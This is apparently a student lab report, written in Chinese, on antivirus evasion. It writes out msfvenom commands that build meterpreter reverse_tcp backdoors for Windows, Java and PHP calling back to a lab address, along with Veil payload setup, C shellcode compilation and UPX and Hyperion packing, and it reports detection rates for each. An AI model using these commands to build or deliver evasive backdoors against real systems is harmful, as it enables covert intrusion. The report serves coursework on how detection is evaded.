一、实验内容
1.1 了解恶意软件检测机制,学习免杀原理
1.2 熟悉msfvenom的使用,使用msfvenom中的编码器并尝试生成多种类型的文件
1.3 学习使用veil工具的使用
1.4 尝试进行压缩加壳和加密加壳
1.5 利用C语言shellcode编程
1.6 综合利用各种免杀技术骗过杀软的检测,并在杀软开启的情况下尝试回连
二、回答问题
(1)杀软是如何检测出恶意代码的?
分别为通过特征和通过行为进行分析,前者扫描文件时,会寻找是否包含这些已知的恶意代码片段,如果有就会判定为病毒;后者通过分析代码的行为指令(如“删除系统文件”、“修改注册表”)来判断,如果一个文件的行为模式非常可疑,即使它不在特征库里,也会被判定为恶意软件。
(2)免杀是做什么?
免杀就是对已有的恶意代码进行各种修改和伪装,让它能够绕过杀毒软件的检测,从而成功在目标电脑上运行。
(3)免杀的基本方法有哪些?
修改文件特征和规避行为分析两种,前者目的是改变文件的特征,使其与杀毒软件特征库中的记录不匹配;后者旨在让程序在分析时“表现良好”,或者隐藏其恶意意图。
三、实验过程
3.1免杀效果基准测试
运用实验二生成的后门文件传入主机进行线上检测,过程和结果如下图。(后门在上次实验已经生成,直接拿来用故不用再放截图)

可以看到结果为58/72,说明极易被杀毒软件清除。
3.2通过msfvenom使用编码器或生成其他格式文件
首先使用msfvenom自带的编码器对后门文件进行编码,使用命令msfvenom -l encoders可以查看msfvenom所支持的编码格式,如下图所示。

这里使用适用于windows的编码格式x86/shikata_ga_nai,用以下命令
点击查看代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.175.129 LPORT=12138 -f exe >20232419_backdoor.exe
点击查看代码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.175.129 LPORT=12138 -f exe >20232419_backdoor.exe

尝试生成jar文件,分别测试不编码和编码10次的免杀效果,可以看到相比于exe文件,jar文件本身更不易被检测出来,但是重复编码效果仍然不好。
代码分别如下:
点击查看代码
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.175.129 LPORT=12138 x >20232419_backdoor.jar
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.175.129 LPORT=12138 x >20232419_backdoor.jar



尝试生成php文件,分别测试不编码和编码10次的免杀效果,可以看到php文件免杀效果提升较大,命令如下:
点击查看代码
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.175.129 LPORT=12138 x >20232419_backdoor.php
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.175.129 LPORT=12138 x >20232419_backdoor.php




3.3 免杀工具veil使用
安装完veil后,我们开始使用,可以看到,veil有两个免杀的⼯具,Evasion和Ordnance。 Ordnance可⽣成在Veil-Evasion中使⽤的shellcode,Evasion是⽤做⽂件免杀,因此我们use 1
点击查看代码
sudo /usr/share/veil/config/setup.sh --force --silent

输入指令list,可以看到可以使用的payloads

这里我们使用第7个,即C语言框架下的c/meterpreter/rev_tcp,按以下命令配置
点击查看代码
set LHOST 192.168.175.129
set LPORT 12138
generate

根据提示找到相应目录下的生成文件,传到主机中

看到veil有一定的免杀效果

3.4 C语言调用Shellcode
使用msfvenom的参数-f c可以得到C语言格式下的一个shellcode
点击查看代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.175.129 LPORT=12138 -f c

将这段shellcode写入C语言程序当中,程序具体内容如下

使用编译器i686-w64-mingw32-g++进行编译,将可执行程序传入主机
点击查看代码
vi 20232419_shellcode_c.c
i686-w64-mingw32-g++ 20232419_shellcode_c.c -o 20232419_shellcode_c.exe

可以看到检测效果如图,免杀效果还行

3.5加壳
3.5.1用upx
用以下命令加壳如图,看出免杀效果不升反降
点击查看代码
upx 20232419_shellcode_c.exe -o 20232419_shellcode_c_upx.exe


3.5.2用hyperion
用以下命令完成,如图所示,更容易被检测出来了,免杀效果更差
点击查看代码
sudo cp 20232419_shellcode_c.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
sudo wine hyperion.exe -v 20232419_shellcode_c.exe 20232419_shellcode_c_hyp.exe


3.6综合
如图,按照以下流程,依次进行编码、编译、加压缩壳、加加密壳,可以得到一个综合应用了免杀技术的可执行后门程序




送去网站检验还行,但火绒还是查出来了这个混合后门程序


用另一个终端开始监听运行,无法运行此后门程序

四、遇到的问题
1veil安装卡住


用以下命令,窗口点击确定即可,但也还是麻烦,下载的好慢啊
点击查看代码
# 启用 32 位架构支持
sudo dpkg --add-architecture i386
sudo apt update# 安装完整的 Wine 和 32 位支持
sudo apt install -y wine wine32 wine64 libwine libwine:i386 fonts-wine
# 设置为 64 位架构(更稳定)
export WINEARCH=win64
export WINEPREFIX=~/.wine# 初始化 Wine 配置
winecfg
